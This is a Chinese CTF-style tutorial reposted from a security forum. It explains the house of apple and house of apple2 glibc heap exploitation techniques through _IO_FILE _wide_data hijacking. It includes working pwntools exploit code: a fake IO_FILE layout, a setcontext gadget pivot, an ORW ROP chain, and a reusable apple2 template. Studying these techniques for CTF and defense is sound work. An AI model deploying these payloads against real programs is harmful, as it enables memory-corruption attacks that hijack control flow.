house of apple
house of apple
简介
这是一个高版本的堆攻击IO的方式,在删除了__malloc_hook
和__free_hook
之后可以进行攻击的方式
文章来源:https://bbs.kanxue.com/thread-273418.htm 侵删
以下来自house of apple作者:
之前很多师傅都提出了一些优秀的攻击方法,比如house of pig、house of kiwi 和 house of emma等。
其中,house of pig
除了需要劫持IO_FILE
结构体,还需要劫持tcache_perthread_struct
结构体或者能控制任意地址分配;house of kiwi
则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0
和_IO_helper_jumps + 0xA8
,另外还要劫持_IO_file_jumps + 0x60
处的_IO_file_sync
指针;而house of emma
则至少需要修改两个地方的值,一个是tls
结构体的point_guard
(或者想办法泄露出来),另外需要伪造一个IO_FILE
或替换vtable
为xxx_cookie_jumps
的地址。
总的来看,如果想使用上述方法成功地攻击IO
,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack
)的情景下是很难利用成功的。
利用条件
- 可以从main返回或者调用exit函数
- 能泄露
heap
和libc
地址 - 能使用一次
largebin attack
思想
利用largebin attack
可以修改一个指针指向堆上地址,所以可以使用这种方式将_IO_list_all
变量改向堆,从而可以伪造IO_file
结构体。
对于IO_FILE
结构体,如下:
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持这个变量
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
其中的排列是这样的:
amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
我们需要伪造的就是_wide_data
变量,因为有些调用会控制这个变量,比如_IO_wstrn_overflow
函数(会在exit中调用):
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}
可以看到,它会把snf->overflow_buf
的值赋值给好多好多地方,这就能让我们做到任意地址写已知地址。其中overflow_buf
相对于本身IO_FILE
指针的偏移是0xf0/0x1f0,就在vtable
的后面,而IO_wide_data
这个结构体是这样的:
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
所以通过这个方式,如果能拥有在堆上伪造一个_IO_FILE
的能力,假设其地址为A
,而后将A+0xd8
替换为_IO_wstrn_jumps
的地址,将A+0xc0
设置为B
,并且修改其他成员以便能调用_IO_OVERFLOW
、则在调用exit
函数之后会一路调用到_IO_wstrn_overflow
函数,将B:B+0x38
的地址全部替换为A+0xf0
或者A+0x1f0
即:house of apple可以将任意地址空间上的值修改为一个已知地址
house of apple2
这是高版本glibc最常用的攻击方式,它的能力是可以进行一次任意地址执行。
当然,它很明显是和之前说的house of apple一脉相承的,依旧是widedata的利用。
上面讲的house of apple 1的能力具体是实现一次任意地址写,但是house of apple 2主要是任意地址执行。
想法
观察源码可知,虽然在2.24之后就针对vtable进行检查了,但是其实还有漏网之鱼:_wide_data
的vtable是没有任何检查的,所以该攻击方式的想法就是针对这个进行攻击。
于是我们需要进行一系列的操作:
- 控制
IO_list_all
的vtable为_IO_wfile_jumps
- 控制
_wide_data
为可控堆地址 - 控制
_wide_data->_wide_vtable
为可控堆地址 - 进行调用,从而使得执行某个函数
这里师傅给出了三个可控函数:
- _IO_wfile_overflow
- _IO_wfile_underflow_mmap
- _IO_wdefault_xsgetn
最常用的链子是第一条:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
所以针对这一条链,我们需要构造堆地址成这样:
- _IO_list_all布置为某堆地址fp
_wide_data
设置为可控堆地址A,即*(fp+0xa0)=A
_wide_data->_IO_write_base
设置为0,即*(A+0x18)=0
_wide_data->_IO_buf_base
设置为0,即*(A+0x30)=0
_wide_data->_wide_vtable
设置为可控堆地址B,即*(A+0xe0)=B
_wide_data->_wide_vtable->doallocate
设置为想要执行的地址C,即*(B + 0x68) = C
,该函数位置为_IO_wdoallocbuf+43
于是一种合适的堆构造方式就是(带了orw):
target_addr = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_lock = libc_base + 0x1f5720
magic_gadget = libc_base + 0x146020
'''
mov rdx, qword ptr [rdi+8]
mov qword ptr [rsp],rax
call qword ptr [rdx+0x20]
'''
leave_ret = libc_base + 0x52d72
magic = libc_base + libc.sym['svcudp_reply'] + 26
'''
mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]
'''
setcontext = libc_base + libc.sym['setcontext']
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_r12_ret = libc_base + 0x1066e1
pop_rax_ret = libc_base + 0x446c0
ret = pop_rdi_ret + 1
syscall_ret = libc_base + 0x883b6
f1 = IO_FILE_plus_struct()
f1.flags = 0
# f1._IO_save_base = p64(heap_base+0x1a00)# rdi+0x48
# f1._IO_read_ptr = 0xa81
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps
data = flat({
0: bytes(f1),
0xe0: {# _wide_data->_wide_vtable rax here
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xe0: fake_IO_FILE+0x200, # f->_wide_data->_wide_vtable
# 0x110:0x20 # heap_base +0x1a00, rdx
},
0x200: {
0x0:heap_base+0x1d00, # rbp+0x10, r13, rdi
0x8:heap_base+0x1a00, # rbp+0x18, rax
0x10:setcontext+61, # call qword ptr [rdx+0x20]
0x18:magic_gadget, # call qword ptr [rax+0x28]
0x68: magic,# _IO_wdoallocbuf+40
0x90:heap_base+0x1d10, # rdx+0xa0, rsp
0x98:ret # rdx+0xa8, rip
},
0x500:[
pop_rax_ret,
2,
pop_rdi_ret,
heap_base + 0x1b20,
pop_rsi_ret,
0,
syscall_ret,
pop_rax_ret,
0,
pop_rdi_ret,
3,
pop_rsi_ret,
heap_base+0x500,
pop_rdx_r12_ret,
0x40,
0,
syscall_ret,
pop_rax_ret,
1,
pop_rdi_ret,
1,
pop_rsi_ret,
heap_base + 0x500,
pop_rdx_r12_ret,
0x40,
0,
syscall_ret
]
},
})
这里是2.34和2.35的不同,因为一个版本中传值是直接给rdx而另一个是给rdi的,通过一个gadget控制rdi来控制rdx是不可行的,所以这边是一种改进的思路。
可以看到,*(B+0x68)
是magic的地址,于是会执行上述过程,因为这时候rdi会在现在指的这个fake_io的位置,所以需要修改f1._IO_save_base = p64(fake_io+0x1f0)# rdi+0x48
,于是rax即变成fake_io+0x200+0x8
,rdi变成fake_io+0x200
,并且会callrax+0x28
所以这里fake_io+0x200+0x8
的值可以也布置成p64(fake_io+0x1f0)
,即callfake_io+0x200+0x18
。通过这个操作,我们将rdi换了个地方,它将会在fake_io+0x200
的位置。
然后执行magic_gadget给rdx赋值:会将rdx赋值到[rdi+8],即之前的rax的内容,而之前rax位置的值是p64(fake_io+0x1f0)
,所以在call的时候就会执行fake_io+0x200+0x10
的位置的内容,即setcontext+61,并且这时候rdx也被控制为p64(fake_io+0x1f0)
.
于是呼,只需要控制rsp和rip就行了,从而可以执行预定的orw。
更新一个house of apple2在2.35下的通用模板:
def apple2(libc_base,libc,heap_addr,target):
wfile = libc_base + libc.sym['_IO_wfile_jumps']
p = flat([{
0x18: 1, # _IO_write_ptr
0x90: heap_addr + 0xe0, # _wide_data
0xc8: wfile, # vtable
0xd0 + 0xe0: heap_addr + 0xe0 + 0xe8, # _wide_data->_wide_vtable
0xd0 + 0xe8 + 0x68: target, # _wide_data->_wide_vtable->doallocate
}],filler=b'\x00')
return p